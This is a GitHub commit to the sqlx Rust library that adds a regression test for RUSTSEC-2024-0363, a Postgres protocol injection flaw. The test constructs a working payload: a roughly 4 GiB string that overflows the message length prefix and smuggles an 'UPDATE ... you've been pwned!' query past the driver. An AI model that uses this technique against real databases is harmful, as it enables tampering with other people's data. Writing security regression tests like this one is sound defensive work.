Skip to content

Commit b1539b6

Browse files
committed
chore(postgres): create regression test for RUSTSEC-2024-0363
1 parent 9e3ece4 commit b1539b6

File tree

4 files changed

+157
-2
lines changed

4 files changed

+157
-2
lines changed

.github/workflows/sqlx.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -204,7 +204,7 @@ jobs:
204204
- run: >
205205
cargo test
206206
--no-default-features
207-
--features any,postgres,macros,_unstable-all-types,runtime-${{ matrix.runtime }},tls-${{ matrix.tls }}
207+
--features any,postgres,macros,migrate,_unstable-all-types,runtime-${{ matrix.runtime }},tls-${{ matrix.tls }}
208208
env:
209209
DATABASE_URL: postgres://postgres:password@localhost:5432/sqlx
210210
SQLX_OFFLINE_DIR: .sqlx
@@ -216,7 +216,7 @@ jobs:
216216
run: >
217217
cargo test
218218
--no-default-features
219-
--features any,postgres,macros,_unstable-all-types,runtime-${{ matrix.runtime }},tls-${{ matrix.tls }}
219+
--features any,postgres,macros,migrate,_unstable-all-types,runtime-${{ matrix.runtime }},tls-${{ matrix.tls }}
220220
env:
221221
DATABASE_URL: postgres://postgres:password@localhost:5432/sqlx?sslmode=verify-ca&sslrootcert=.%2Ftests%2Fcerts%2Fca.crt
222222
SQLX_OFFLINE_DIR: .sqlx

Cargo.toml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -372,3 +372,8 @@ required-features = ["postgres", "macros", "migrate"]
372372
name = "postgres-query-builder"
373373
path = "tests/postgres/query_builder.rs"
374374
required-features = ["postgres"]
375+
376+
[[test]]
377+
name = "postgres-rustsec"
378+
path = "tests/postgres/rustsec.rs"
379+
required-features = ["postgres", "macros", "migrate"]
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
-- https://rustsec.org/advisories/RUSTSEC-2024-0363.html
2+
-- https://github.com/launchbadge/sqlx/issues/3440
3+
CREATE TABLE injection_target(id BIGSERIAL PRIMARY KEY, message TEXT);
4+
INSERT INTO injection_target(message) VALUES ('existing value');

tests/postgres/rustsec.rs

Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
use sqlx::{Error, PgPool};
2+
3+
use std::{cmp, str};
4+
5+
// https://rustsec.org/advisories/RUSTSEC-2024-0363.html
6+
#[sqlx::test(migrations = false, fixtures("./fixtures/rustsec/2024_0363.sql"))]
7+
async fn rustsec_2024_0363(pool: PgPool) -> anyhow::Result<()> {
8+
let overflow_len = 4 * 1024 * 1024 * 1024; // 4 GiB
9+
10+
// These three strings concatenated together will be the first query the Postgres backend "sees"
11+
//
12+
// Rather contrived because this already represents an injection vulnerability,
13+
// but it's easier to demonstrate the bug with a simple `Query` message
14+
// than the `Prepare` -> `Bind` -> `Execute` flow.
15+
let real_query_prefix = "INSERT INTO injection_target(message) VALUES ('";
16+
let fake_message = "fake_msg') RETURNING id;\0";
17+
let real_query_suffix = "') RETURNING id";
18+
19+
// Our payload is another simple `Query` message
20+
let real_payload =
21+
"Q\0\0\0\x4DUPDATE injection_target SET message = 'you''ve been pwned!' WHERE id = 1\0";
22+
23+
// This is the value we want the length prefix to overflow to (including the length of the prefix itself)
24+
// This will leave the backend's buffer pointing at our real payload.
25+
let fake_payload_len = real_query_prefix.len() + fake_message.len() + 4;
26+
27+
// Pretty easy to see that this should overflow to `fake_payload_len`
28+
let target_payload_len = overflow_len + fake_payload_len;
29+
30+
// This is the length we expect `injected_value` to be
31+
let expected_inject_len = target_payload_len
32+
- 4 // Length prefix
33+
- real_query_prefix.len()
34+
- (real_query_suffix.len() + 1 /* NUL terminator */);
35+
36+
let pad_to_len = expected_inject_len - 5; // Header for FLUSH message that eats `real_query_suffix` (see below)
37+
38+
let expected_payload_len = 4 // length prefix
39+
+ real_query_prefix.len()
40+
+ expected_inject_len
41+
+ real_query_suffix.len()
42+
+ 1; // NUL terminator
43+
44+
let expected_wrapped_len = expected_payload_len % overflow_len;
45+
assert_eq!(expected_wrapped_len, fake_payload_len);
46+
47+
// This will be the string we inject into the query.
48+
let mut injected_value = String::with_capacity(expected_inject_len);
49+
50+
injected_value.push_str(fake_message);
51+
injected_value.push_str(real_payload);
52+
53+
// The Postgres backend reads the `FLUSH` message but ignores its contents.
54+
// This gives us a variable-length NOP that lets us pad to the length we want,
55+
// as well as a way to eat `real_query_suffix` without breaking the connection.
56+
let flush_fill = "\0".repeat(9996);
57+
58+
let flush_fmt_code = 'H'; // note: 'F' is `FunctionCall`.
59+
60+
'outer: while injected_value.len() < pad_to_len {
61+
let remaining_len = pad_to_len - injected_value.len();
62+
63+
// The max length of a FLUSH message is 10,000, including the length prefix.
64+
let flush_len = cmp::min(
65+
remaining_len - 1, // minus format code
66+
10000,
67+
);
68+
69+
// We need `flush_len` to be valid UTF-8 when encoded in big-endian
70+
// in order to push it to the string.
71+
//
72+
// Not every value is going to be valid though, so we search for one that is.
73+
'inner: for flush_len in (4..=flush_len).rev() {
74+
let flush_len_be = (flush_len as i32).to_be_bytes();
75+
76+
let Ok(flush_len_str) = str::from_utf8(&flush_len_be) else {
77+
continue 'inner;
78+
};
79+
80+
let fill_len = flush_len - 4;
81+
82+
injected_value.push(flush_fmt_code);
83+
injected_value.push_str(flush_len_str);
84+
injected_value.push_str(&flush_fill[..fill_len]);
85+
86+
continue 'outer;
87+
}
88+
89+
panic!("unable to find a valid encoding/split for {flush_len}");
90+
}
91+
92+
assert_eq!(injected_value.len(), pad_to_len);
93+
94+
// The amount of data the last FLUSH message has to eat
95+
let eat_len = real_query_suffix.len() + 1; // plus NUL terminator
96+
97+
// Push the FLUSH message that will eat `real_query_suffix`
98+
injected_value.push(flush_fmt_code);
99+
injected_value.push_str(str::from_utf8(&(eat_len as i32).to_be_bytes()).unwrap());
100+
// The value will be in the buffer already.
101+
102+
assert_eq!(expected_inject_len, injected_value.len());
103+
104+
let query = format!("{real_query_prefix}{injected_value}{real_query_suffix}");
105+
106+
// The length of the `Query` message we've created
107+
let final_payload_len = 4 // length prefix
108+
+ query.len()
109+
+ 1; // NUL terminator
110+
111+
assert_eq!(expected_payload_len, final_payload_len);
112+
113+
let wrapped_len = final_payload_len % overflow_len;
114+
115+
assert_eq!(wrapped_len, fake_payload_len);
116+
117+
let res = sqlx::raw_sql(&query)
118+
// Note: the connection may hang afterward
119+
// because `pending_ready_for_query_count` will underflow.
120+
.execute(&pool)
121+
.await;
122+
123+
if let Err(e) = res {
124+
// Connection rejected the query; we're happy.
125+
if matches!(e, Error::Protocol(_)) {
126+
return Ok(());
127+
}
128+
129+
panic!("unexpected error: {e:?}");
130+
}
131+
132+
let messages: Vec<String> =
133+
sqlx::query_scalar("SELECT message FROM injection_target ORDER BY id")
134+
.fetch_all(&pool)
135+
.await?;
136+
137+
// If the injection succeeds, `messages` will look like:
138+
// ["you've been pwned!'.to_string(), "fake_msg".to_string()]
139+
assert_eq!(
140+
messages,
141+
["existing message".to_string(), "fake_msg".to_string()]
142+
);
143+
144+
// Injection didn't affect our database; we're happy.
145+
Ok(())
146+
}

0 commit comments

Comments
 (0)